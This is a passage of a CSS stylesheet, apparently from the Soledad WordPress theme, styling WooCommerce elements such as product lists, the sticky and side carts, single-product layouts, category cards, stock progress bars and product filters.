.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
	line-height: 40px;
	display: inline-block;
	padding: 0 30px;
	color: white;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button.added {
	min-width: 160px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
		width: 100%;
		padding: 0 5px;
	}
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button {
	font-size: 12px;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button.loading {
	color: transparent;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-action .button:hover {
	opacity: 0.8;
}
.woocommerce .products.product-list .penci-soledad-product .penci-list-summary {
	margin-top: 15px;
}
.woocommerce a.button.loading:before,
.woocommerce button.button.loading:before,
.woocommerce input.button.loading:before,
.woocommerce #respond input#submit.loading:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: '';
	background-color: rgba(255, 255, 255, .75);
}
.woocommerce a.button.loading:before,
.woocommerce button.button.loading:before,
.woocommerce input.button.loading:before,
.woocommerce #respond input#submit.loading:before,
.woocommerce a.button.loading:after,
.woocommerce button.button.loading:after,
.woocommerce input.button.loading:after,
.woocommerce #respond input#submit.loading:after {
	font-family: inherit !important;
	line-height: 0;
	position: absolute;
	z-index: 2;
	top: 14px;
	right: 50%;
	left: 50%;
	display: block;
	width: 14px;
	height: 14px;
	margin: 0 0 0 -9px;
	content: " " !important;
	animation: lds-dual-ring 0.4s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #999;
	border-left-color: #000;
	border-top-color: #000;
	border-radius: 50%;
}
.woocommerce .penci-products-preloader {
	text-align: center;
}
.woocommerce .penci-products-preloader .penci-layout-loader:before {
	z-index: 2;
	right: 50%;
	left: 50%;
	display: inline-block;
	width: 30px;
	height: 30px;
	margin: 0 0 0 -15px;
	content: " " !important;
	animation: lds-dual-ring 0.5s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #999;
	border-left-color: #000;
	border-radius: 50%;
}
.woocommerce a.button.loading,
.woocommerce button.button.loading,
.woocommerce input.button.loading,
.woocommerce #respond input#submit.loading {
	opacity: 1;
}
.penci-sticky-cart {
	position: fixed;
	z-index: 99;
	top: auto !important;
	bottom: 0 !important;
	left: 0;
	visibility: hidden;
	width: 100%;
	-moz-transition: all 0.3s;
	-o-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	-webkit-transform: translateY(5px) translateZ(0);
	transform: translateY(5px) translateZ(0);
	opacity: 0;
	background-color: var(--pcbg-cl);
	-moz-box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
	-webkit-box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
	box-shadow: 1px -8px 17px 0 rgba(0, 0, 0, 0.15);
}
.penci-sticky-cart.cart-sticky {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.penci-sticky-cart-wrapper {
	display: flex;
	flex-wrap: wrap;
	padding: 5px 0;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-title,
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
	display: flex;
	align-items: center;
	align-self: center;
	flex: 0 0 50%;
	flex-direction: row;
	max-width: 50%;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
	justify-content: flex-end;
}
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons button:hover,
.penci-sticky-cart-wrapper .penci-sticky-cart-buttons button.button.alt:hover {
	color: #fff;
}
.penci-sticky-cart-wrapper .product-image {
	width: 70px;
	margin-right: 15px;
}
.penci-sticky-cart-wrapper .product-price {
	font-size: 18px;
	font-weight: bold;
}
.penci-sticky-cart-wrapper .product-price del {
	font-size: 80%;
	opacity: .75;
}
.penci-sticky-cart-wrapper .product-price ins {
	text-decoration: none;
	color: var(--pcaccent-cl);
}
.penci-sticky-cart-wrapper .product-action {
	margin-left: 15px;
}
.penci-sticky-cart-wrapper .product-action a.button {
	padding: 0 25px;
	color: white;
	background-color: var(--pcpage_btn_atc_bg_cl);
}
.penci-sticky-cart-wrapper .product-action a.button:hover {
	color: white;
}
@media only screen and (max-width: 767px) {
	.penci-sticky-cart-wrapper {
		padding-right: 5px;
		padding-left: 5px;
	}
	.penci-sticky-cart-wrapper .penci-sticky-cart-title {
		display: none;
	}
	.penci-sticky-cart-wrapper .penci-sticky-cart-buttons {
		flex: 0 0 100%;
		justify-content: space-between;
		width: 100%;
		max-width: 100%;
	}
}
body.single-product #header {
	margin-bottom: 0;
}
.penci-single-product-top-container {
	overflow: hidden;
	margin-bottom: 20px;
	padding-top: 60px;
	border-bottom: 1px solid var(--pcpage_gbdr_cl);
}
.sidebar-placement-both .penci-single-product-top-container {
	position: relative;
	padding-top: 0;
}
@media only screen and (max-width: 767px) {
	.product.no-background .penci-single-product-top-container {
		padding-top: 15px;
	}
}
.penci-single-product-top-container .container {
	position: relative;
}
.woocommerce .product.penci-product-img-medium div.images {
	width: 57.5%;
}
.woocommerce .product.penci-product-img-medium div.summary {
	width: 40%;
}
.woocommerce .product.penci-product-img-large div.images {
	width: 67.5%;
}
.woocommerce .product.penci-product-img-large div.summary {
	width: 30%;
}
.woocommerce .product.penci-product-img-large .penci-top-relate-post {
	top: -50px;
}
.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
	top: -50px;
	left: auto;
	right: calc((100% - var(--pcctain)) / 2);
}
.woocommerce .penci_sidebar div.product.penci-product-img-fullwidth-container div.images,
.woocommerce-page .penci_sidebar div.product.penci-product-img-fullwidth-container div.images,
.woocommerce div.penci-product-img-fullwidth-container div.images {
	width: 100%;
}
.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
	right: calc((100% - var(--pcctain)) / 2);
}
@media only screen and (min-width: 961px) and (max-width: 1169px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		right: calc((100% - 940px) / 2);
	}
	.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
		right: calc((100% - 940px) / 2);
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		right: calc((100% - 726px) / 2);
	}
	.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
		right: calc((100% - 726px) / 2);
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
		position: relative;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}
}
@media only screen and (min-width: 768px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-single-product-top-container .product-labels {
		left: 10px;
		right: auto;
	}
}
.woocommerce .product.penci-product-img-fullwidth-container div.images,
.woocommerce .product.penci-product-img-fullwidth-container div.summary {
	float: none;
	width: 100%;
}
.woocommerce .product.penci-product-img-fullwidth .penci-single-product-top-container > .container {
	width: 100%;
}
.penci-summary-align-center .summary.entry-summary {
	text-align: center;
}
.woocommerce div.penci-summary-align-center form.cart {
	/*display: flex;
	flex-wrap: wrap;
	justify-content: center;*/
}
.woocommerce div.penci-summary-align-center form.cart .variations {
	width: auto;
	margin: 0 auto;
}
.woocommerce div.penci-summary-align-center.penci-product-img-fullwidth-container .single_variation_wrap {
	max-width: 570px;
	margin: 0 auto;
}
.woocommerce div.penci-product-img-fullwidth-container figure.splide__slide {
	opacity: 0.2;
	pointer-events: none;
	cursor: none;
}
.woocommerce div.product.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__wrapper {
	transition: none;
}
.woocommerce div.penci-product-img-fullwidth-container figure.is-active,
.woocommerce div.penci-product-img-fullwidth-container .owl-item.active.center figure,
.woocommerce div.penci-product-img-fullwidth-container .slick-center figure {
	opacity: 1;
	pointer-events: visible;
}
.woocommerce div.penci-summary-align-center form.cart .variations td.value {
	text-align: left;
	width: 70%;
}
.woocommerce div.penci-summary-align-center form.cart .variations td.label {
	text-align: right;
	width: 30%;
}
.woocommerce div.penci-summary-align-center form.cart .button,
.woocommerce div.penci-summary-align-center form.cart div.quantity {
	display: inline-flex;
	float: none;
	width: auto;
}
@media only screen and (max-width: 767px) {
	.woocommerce form.cart .single_add_to_cart_button {
		width: calc(100% - 100px);
	}
	.woocommerce .quick-shop-wrapper form.cart .single_add_to_cart_button {
		width: 100%;
	}
}
.penci-woo-page-container.penci_sidebar .sidebar-both,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .container {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
}
.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	flex: 0 0 auto;
	width: calc(100% - var(--pc-sidebar-w));
}
.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-right: 50px;
}
.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
	padding-left: 60px;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		padding-left: 0;
	}
	.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar.right-sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		padding-right: 0;
	}
	.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container .bottom-content {
		width: 100%;
	}
}
.penci-woo-page-container.penci_sidebar .sidebar-both #sidebar,
.penci-woo-page-container.penci_sidebar .sidebar-bottom .penci-single-product-bottom-container #sidebar {
	flex: 0 0 auto;
}
.penci-woo-page-container.left-sidebar .sidebar-both,
.penci-woo-page-container.left-sidebar .sidebar-bottom .penci-single-product-bottom-container .container {
	flex-direction: row-reverse;
}
@media only screen and (max-width: 767px) {
	.penci-woo-page-container.penci_sidebar .sidebar-both #sidebar,
	.penci-woo-page-container.penci_sidebar .sidebar-both .penci-single-product-sidebar-wrap,
	.penci-woo-page-container.penci_sidebar .penci-single-product-bottom-container .bottom-content,
	.penci-woo-page-container.penci_sidebar .penci-single-product-bottom-container #sidebar {
		width: 100%;
	}
	.penci-woo-page-container.penci_sidebar .sidebar-both {
		padding-right: 15px;
		padding-left: 15px;
	}
	.penci-woo-page-container.left-sidebar .sidebar-both .penci-sidebar-content > .theiaStickySidebar,
	.penci-woo-page-container.left-sidebar .penci-single-product-bottom-container .theiaStickySidebar {
		padding-right: 0;
		border-right: 0;
	}
	.penci-woo-page-container.right-sidebar .sidebar-both .penci-sidebar-content > .theiaStickySidebar,
	.penci-woo-page-container.right-sidebar .penci-single-product-bottom-container .theiaStickySidebar {
		padding-left: 0;
		border-left: 0;
	}
}
.woocommerce ul.products.product-standard .penci-soledad-product a.button {
	background-color: #f5f5f5;
	color: var(--pctext-cl);
}
.woocommerce ul.products.product-standard .penci-soledad-product a.button:hover {
	background-color: var(--pcaccent-cl);
	color: #fff;
}
/* Rating Position*/
.woocommerce .product.product-style-1 .star-rating,
.woocommerce .product.product-style-3 .star-rating,
.woocommerce .product.product-style-4 .star-rating,
.woocommerce .product.product-style-5 .star-rating,
.woocommerce .product.product-style-6 .star-rating {
	position: relative;
	top: 0;
	right: 0;
	left: 0;
	margin-top: 5px;
	margin-bottom: 5px;
}
.woocommerce .product.product-style-2 .star-rating {
	top: 50px;
	left: 15px;
}
.woocommerce .products.product-style-2 .penci-product-cats,
.woocommerce .products.product-style-2 .woocommerce-loop-product__title {
	padding-right: 80px;
}
.woocommerce ul.products .product.product-style-1 .star-rating,
.woocommerce ul.products .product.product-style-5 .star-rating {
	margin-right: auto;
	margin-left: auto;
}
.penci-woo-page-container.loadmore .woocommerce-pagination,
.penci-woo-page-container.infinit .woocommerce-pagination {
	display: none;
}
.penci-woo-page-container.loadmore .woocommerce-pagination,
.penci-woo-page-container.infinit .page-load-status {
	padding: 15px 0;
	text-align: center;
}
.penci-woo-page-container .page-load-status {
	display: none;
}
.woocommerce nav.woocommerce-pagination {
	text-align: center;
}
.woocommerce nav.woocommerce-pagination ul li {
	float: none;
	margin-bottom: 10px;
}
.penci-woo-page-container .page-load-button {
	text-align: center;
}
.penci-woo-page-container .page-load-button a {
	color: rgb(153, 153, 153);
}
.penci-woo-page-container .page-load-button .button.loading,
.penci-woo-page-container .page-load-button .button {
	min-width: 183px;
	/*padding: 16px 20px 14px;*/
	transform: none;
	color: rgb(153, 153, 153);
}
.penci-woo-page-container .page-load-button .button.loading:hover,
.penci-woo-page-container .page-load-button .button:hover {
	color: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	background-color: transparent;
}
.penci-woo-page-container .page-load-button .button.loading {
	cursor: not-allowed;
	pointer-events: none;
	color: transparent;
}
.product.penci-product-thumbnail-left .product-labels .product-label {
	left: 120px;
}
/* Product Categories */
.products .penci-product-cat-loop {
	position: relative;
	overflow: hidden;
	height: 100%;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce ul.products li.product-category .woocommerce-loop-category__title {
	margin-bottom: 0;
}
.woocommerce ul.products li.product-category .product-category-img:before {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	content: '';
	background: var(--pcl_l_cat_o_cl);
	background: var(--pcl_l_cat_o_cl_rgba);
}
.woocommerce ul.products li.product-category a img {
	margin: 0;
	transition: -webkit-transform 2s cubic-bezier(0, 0, 0.44, 1.18);
	transition: transform 2s cubic-bezier(0, 0, 0.44, 1.18);
	transition: transform 2s cubic-bezier(0, 0, 0.44, 1.18), -webkit-transform 2s cubic-bezier(0, 0, 0.44, 1.18);
}
.woocommerce ul.products li.product-category:hover a img {
	-webkit-transform: scale(1.23);
	transform: scale(1.23);
}
.woocommerce ul.products li.product-category .woocommerce-loop-category__wrapper {
	position: absolute;
	z-index: 9;
	bottom: 0;
	left: 0;
	width: 100%;
	padding: 15px;
	transition: transform .3s ease;
	transform: translateY(calc(15px)) translateZ(0);
}
.woocommerce ul.products li.product-category:hover .woocommerce-loop-category__wrapper {
	transform: translateY(0) translateZ(0);
}
.woocommerce ul.products li.product .woocommerce-loop-category__title {
	font-size: var(--pcl_l_cat_tt_fs);
	padding: 0;
	color: var(--pcl_l_cat_tt_cl);
}
.woocommerce ul.products li.product-category .count {
	display: block;
	transition: transform .3s ease, opacity .3s ease;
	transform: translateY(15px) translateZ(0);
	opacity: 0;
	color: var(--pcl_l_cat_cl);
	font-size: var(--pcl_l_cat_fs);
}
.woocommerce ul.products li.product-category:hover .count {
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 {
	border: 0;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 .woocommerce-loop-category__wrapper {
	top: 50%;
	bottom: 50%;
	transform: translateY(-25px) translateZ(0);
	text-align: center;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2:hover .woocommerce-loop-category__wrapper {
	transform: translateY(0) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2 .count {
	transform: translateY(80px) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-2:hover .count {
	transform: translateY(0px) translateZ(0);
}
.woocommerce ul.products li.product-category.penci-product-cat-style-3 .woocommerce-loop-category__wrapper {
	text-align: center;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__wrapper,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	position: relative;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .product-category-img,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .product-category-img {
	overflow: hidden;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .product-category-img {
	border-radius: 50%;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .count,
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__title,
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .woocommerce-loop-category__wrapper,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .count,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__title,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	transform: translateY(0px) translateZ(0);
	opacity: 1;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-4 .penci-product-cat-loop,
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .penci-product-cat-loop {
	border: 0;
}
.woocommerce ul.products li.product-category.penci-product-cat-style-5 .woocommerce-loop-category__wrapper {
	text-align: center;
}
/* Progress Bar */
.penci-stock-progress-bar .stock-info {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	justify-content: space-between;
	margin-bottom: 5px;
	color: var(--pcmeta-cl);
}
.penci-stock-progress-bar .stock-info span {
	font-weight: 600;
	margin-left: 3px;
	color: var(--pcheading-cl);
}
.penci-stock-progress-bar .progress-area,
.penci-stock-progress-bar .progress-bar {
	height: var(--pccat_progress_height);
}
.penci-stock-progress-bar .progress-area {
	width: 100%;
	background-color: var(--pccat_progress_bg_cl);
}
.penci-stock-progress-bar .progress-bar {
	background-color: var(--pccat_progress_active_bg_cl);
}
.summary.entry-summary .penci-stock-progress-bar {
	margin: 15px 0;
}
.woocommerce div.product form.cart .reset_variations,
.variations_form a.reset_variations {
	font-size: inherit;
	position: static;
	display: inline-block;
	margin: 5px 0 0;
	vertical-align: middle;
	color: var(--pcheading-cl);
}
.woocommerce div.product form.cart .penci-swatches + .reset_variations,
.woocommerce div.product form.cart .jquery-grid-picker-widget + .reset_variations {
	margin: 0 0 5px 10px;
}
.variations_form a.reset_variations:before {
	font-family: penciicon;
	font-size: 10px;
	display: inline-block;
	margin-right: 5px;
	content: '\f110';
}
@media only screen and (max-width: 767px) {
	.variations_form a.reset_variations {
		position: absolute;
		top: 0;
		right: 0;
	}
}
.variations_form ul.jquery-grid-picker-widget {
	display: inline-block;
	margin: 0 -2.5px;
	padding: 0;
	list-style: none;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item {
	display: inline-block;
	padding: 0 2.5px;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item[data-jquery-grid-picker-value=""] {
	display: none;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item a {
	padding: 3px 10px;
	color: var(--pctext-cl);
	border: 1px solid var(--pcpage_btns_bdr_cl);
	border-radius: 2px;
	transition: all 0.3s ease-in-out;
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item a:hover {
	color: #fff;
	border-color: var(--pcpage_btns_bdr_hv_cl);
	background-color: var(--pcpage_btns_bg_hv_cl);
}
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item-selected a,
.variations_form ul.jquery-grid-picker-widget li.jquery-grid-picker-item-selected a:hover {
	color: #fff;
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
}
.woocommerce div.product form.cart .variations select.jquery-grid-picker,
.variations_form select.jquery-grid-picker {
	display: none;
}
.woocommerce .cart-empty.woocommerce-info,
.woocommerce .return-to-shop {
	flex: 0 0 100%;
}
.woocommerce .return-to-shop {
	text-align: center;
	margin-top: 25px;
}
.woocommerce .woocommerce-error:before,
.woocommerce .woocommerce-info:before,
.woocommerce .woocommerce-message:before {
	margin-top: 0;
}
.products-view-grid_list .shop-view.per-row-list {
	order: 1
}
.penci-sidebar-filter,
.penci-sidebar-cart {
	position: fixed;
	z-index: 99999999;
	top: 0;
	visibility: hidden;
	width: 320px;
	height: 100vh;
	-webkit-transition: all 0.5s;
	transition: all 0.5s;
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.penci-sidebar-filter .penci-sidebar-content {
	float: none;
	width: 100%;
	padding: 40px 20px;
	height: calc(100% - 80px);
	overflow-y: auto;
}
.penci-sidebar-filter .penci-sidebar-content .widget:last-child {
	margin-bottom: 0;
}
.penci-sidebar-filter.overlay,
.penci-sidebar-filter.side-right,
.penci-sidebar-cart.side-right {
	right: 0;
	-moz-transform: translateX(320px);
	-webkit-transform: translateX(320px);
	transform: translateX(320px);
}
.penci-sidebar-filter.side-left,
.penci-sidebar-cart.side-left {
	left: 0;
	-moz-transform: translateX(-320px);
	-webkit-transform: translateX(-320px);
	transform: translateX(-320px);
}
.woocommerce-no-js .penci-sidebar-filter.side-right,
.woocommerce-no-js .penci-sidebar-cart.side-right,
.woocommerce-no-js .penci-sidebar-filter.side-left,
.woocommerce-no-js .penci-sidebar-cart.side-left {
	-webkit-transition: unset;
	transition: unset;
	-moz-transform: translateX(0);
	-webkit-transform: translateX(0);
	transform: translateX(0);
}
.penci-sidebar-filter .notice {
	padding: 10px;
}
body.penci-side-right-filter-active .penci-sidebar-filter,
body.penci-side-left-filter-active .penci-sidebar-filter,
body.open-filter-side .penci-sidebar-filter,
body.open-sidecart .penci-sidebar-cart {
	visibility: visible;
	-moz-transform: translateX(0);
	-webkit-transform: translateX(0);
	transform: translateX(0);
	opacity: 1;
}
.penci-sidebar-filter .sidefilter-heading,
.penci-sidebar-cart .sidecart-heading {
	display: flex;
	align-items: center;
	justify-content: space-between;
	padding: 0 20px;
	border-bottom: 1px solid var(--pcborder-cl);
	background-color: var(--pcbg-cl);
	height: 80px;
}
.penci-sidebar-filter .sidefilter-heading h3,
.penci-sidebar-cart .sidecart-heading h3 {
	font-size: 22px;
	display: inline-block;
	text-transform: uppercase;
}
.penci-sidebar-filter .sidefilter-heading .close,
.penci-sidebar-cart .sidecart-heading .close {
	font-size: 0;
	display: inline-block;
	float: right;
	height: 27px;
	cursor: pointer;
	text-align: center;
}
.penci-sidebar-filter .sidefilter-heading .close i,
.penci-sidebar-cart .sidecart-heading .close i {
	font-size: 14px;
	line-height: 27px;
	display: inline-block;
	margin-right: 5px;
	color: var(--pcheading-cl);
	transition: all 0.3s;
}
.penci-sidebar-filter .sidefilter-heading .close:hover i,
.penci-sidebar-cart .sidecart-heading .close:hover i {
	transform: rotate(90deg);
}
.penci-sidebar-cart .sidecart-content ul {
	overflow: hidden;
	overflow-y: auto;
	width: 100%;
	height: calc(100vh - 290px);
	padding: 0;
	border-bottom: 0;
}
.penci-sidebar-cart .sidecart-content ul li {
	position: relative;
	margin: 0;
	padding: 15px 40px 15px 15px;
	transition: all 0.3s ease-in-out;
}
.penci-sidebar-cart .sidecart-content ul li .penci-loading-icon {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	visibility: hidden;
	align-items: center;
	justify-content: center;
	width: 100%;
	transition: all 0.3s ease-in-out;
	text-align: center;
	opacity: 0;
	background-color: rgba(255, 255, 255, .75);
}
.penci-sidebar-cart .sidecart-content ul li.loading .penci-loading-icon {
	visibility: visible;
	opacity: 1;
}
.penci-sidebar-cart .sidecart-content ul li .penci-loading-icon .bubble:after {
	background-color: black;
}
.penci-sidebar-cart .sidecart-content ul li a {
	transition: all 0.3s ease-in-out;
}
.penci-sidebar-cart .sidecart-content ul li:hover a {
	opacity: 0.8;
}
.penci-sidebar-cart .sidecart-content ul li img {
	width: 60px;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove {
	position: absolute;
	top: 10px;
	right: 30px;
	transition: opacity 0.3s ease-in-out;
	opacity: .8;
	color: var(--pcheading-cl) !important;
	background-color: transparent;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove:hover {
	opacity: 1;
}
.sidebar-filter-close,
.penci-sidebar-cart-close {
	position: fixed;
	z-index: 9999;
	top: 0;
	left: 0;
	visibility: hidden;
	width: 100%;
	height: 100%;
	cursor: pointer;
	text-indent: -999999px;
	opacity: 0;
	background-color: rgba(55, 55, 55, .75);
}
body.open-filter-side,
body.open-sidecart {
	overflow: hidden;
}
body.open-filter-side .sidebar-filter-close,
body.penci-side-right-filter-active .sidebar-filter-close,
body.penci-left-right-filter-active .sidebar-filter-close,
body.open-sidecart .penci-sidebar-cart-close {
	visibility: visible;
	opacity: 1;
}
@media only screen and (max-width: 767px) {
	body.penci-side-left-filter-active .sidebar-filter-close,
	body.penci-side-right-filter-active .sidebar-filter-close {
		visibility: visible;
		opacity: 1;
	}
}
.penci-sidebar-cart .penci-woo-cart-buttons-group,
.penci-sidebar-cart .penci-woo-cart-total-group {
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	padding: 15px 20px;
	background-color: var(--pcbg-cl);
}
.penci-sidebar-cart .penci-woo-cart-buttons-group {
	min-height: 120px;
	padding: 0 20px 20px;
}
.penci-sidebar-cart .penci-woo-cart-buttons-group p {
	margin-bottom: 5px;
	font-size: 12px;
	font-weight: var(--pchead-wei);
}
.penci-sidebar-cart .penci-woo-cart-buttons-group p .amount {
	float: right;
}
.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button {
	display: block;
	text-align: center;
	color: var(--pcbg-cl);
	background-color: black;
}
.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button + .button {
	margin-top: 15px;
	background-color: var(--pcaccent-cl);
}
.penci-sidebar-cart .penci-woo-cart-total-group {
	font-size: 16px;
	bottom: 130px;
	text-transform: uppercase;
	border-top: 3px solid #dedede;
}
.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount {
	font-weight: bold;
	float: right;
	color: var(--pcaccent-cl);
}
.penci-sidebar-cart .woocommerce-mini-cart__empty-message {
	font-weight: bold;
	font-size: 16px;
	padding: 15px;
	text-align: center;
}
.penci-sidebar-cart .woocommerce-mini-cart__empty-message:before {
	font-family: 'penciicon', serif;
	font-size: 48px;
	line-height: 48px;
	font-weight: 300;
	display: block;
	content: '\f16c';
	color: var(--pctext-cl);
	opacity: 0.15;
	padding: 15px 0;
}
.woocommerce .penci-sidebar-cart ul.cart_list li img,
.woocommerce .penci-sidebar-cart ul.product_list_widget li img {
	width: 60px;
}
.woocommerce-content-wrapper {
	width: 100%;
}
.penci-empty-compare,
.penci-empty-page-text,
.penci-compare-products-empty-text,
.penci-wishlist-products-empty-text {
	text-align: center;
}
.penci-empty-compare h3 {
	font-size: 18px;
	font-weight: bold;
}
.penci-empty-page.penci-empty-cart:before,
.penci-compare-products-empty-text:before,
.penci-empty-compare.penci-empty-page:before,
.penci-wishlist-products-empty-text:before {
	font-family: 'FontAwesome', serif;
	font-size: 128px;
	font-weight: 300;
	line-height: 1;
	display: block;
	margin-bottom: 17px;
	content: '\f08a';
	color: var(--pctext-cl);
	opacity: 0.15;
}
.penci-compare-products-empty-text:before,
.penci-empty-compare.penci-empty-page:before {
	content: '\f16b';
	font-family: 'penciicon', serif;
}
.penci-empty-page.penci-empty-cart:before {
	content: '\f16c';
	font-family: 'penciicon', serif;
}
.post-entry .woocommerce .penci-wishlist-products-empty-text,
.woocommerce .penci-wishlist-products-empty-text {
	margin-bottom: 30px;
	font-size: 110%;
}
.post-entry .woocommerce .penci-compare-empty-title,
.woocommerce .penci-compare-empty-title,
.post-entry .woocommerce .penci-wishlist-empty-title,
.woocommerce .penci-wishlist-empty-title {
	font-size: 48px;
	line-height: 1.2;
}
@media only screen and (max-width: 767px) {
	.post-entry .woocommerce .penci-compare-empty-title,
	.woocommerce .penci-compare-empty-title,
	.post-entry .woocommerce .penci-wishlist-empty-title,
	.woocommerce .penci-wishlist-empty-title {
		font-size: 28px;
	}
}
.sidebar-filter-container {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	width: 100%;
	max-height: 100%;
	box-shadow: 0 0 1px var(--pctext-cl);
}
.sidebar-filter-container .sidebar-filter-footer-buttons {
	position: absolute;
	right: 0;
	bottom: 10px;
	left: 0;
	padding: 0 10px;
}
.woocommerce .sidebar-filter-container button.close-sidebar {
	display: block;
	width: 100%;
	padding: 0 10px;
	color: var(--pcbg-cl);
	background-color: var(--pcheading-cl);
}
/* Top Product Filter */
.penci-top-product-filter {
	display: flex;
	overflow: hidden;
	flex-wrap: wrap;
	max-height: 0;
	margin-right: -15px;
	margin-left: -15px;
	transition: max-height 1s ease-in-out;
}
.penci-top-filter-active .penci-top-product-filter {
	max-height: 990px;
}
.penci-top-product-filter > * {
	flex-shrink: 0;
	box-sizing: border-box;
	width: 100%;
	max-width: 100%;
	padding-right: 15px;
	padding-left: 15px;
}
.penci-top-product-filter .widget {
	flex: 0 0 auto;
	width: 20%;
}
.penci-container-inside.penci-breadcrumb.penci-woo-breadcrumb i,
.container.penci-breadcrumb.penci-woo-breadcrumb i {
	margin: 0 10px;
}
@media only screen and (max-width: 767px) {
	.penci-top-product-filter .widget {
		width: 100%;
	}
	.penci-top-product-filter .widget + .widget {
		margin-top: 30px;
	}
}
.penci-top-product-filter .widget .widget-title {
	margin-bottom: 30px;
}
.penci-product-top-filter-button {
	display: flex;
	align-items: center;
	margin-left: 10px;
}
.penci-product-top-filter-button a {
	display: flex;
	height: 20px;
	color: var(--pctext-cl);
	opacity: 0.9;
}
.penci-product-top-filter-button svg {
	fill: var(--pctext-cl);
}
.penci-product-top-filter-button a.close {
	opacity: 0.6;
}
.penci-product-top-filter-button a i {
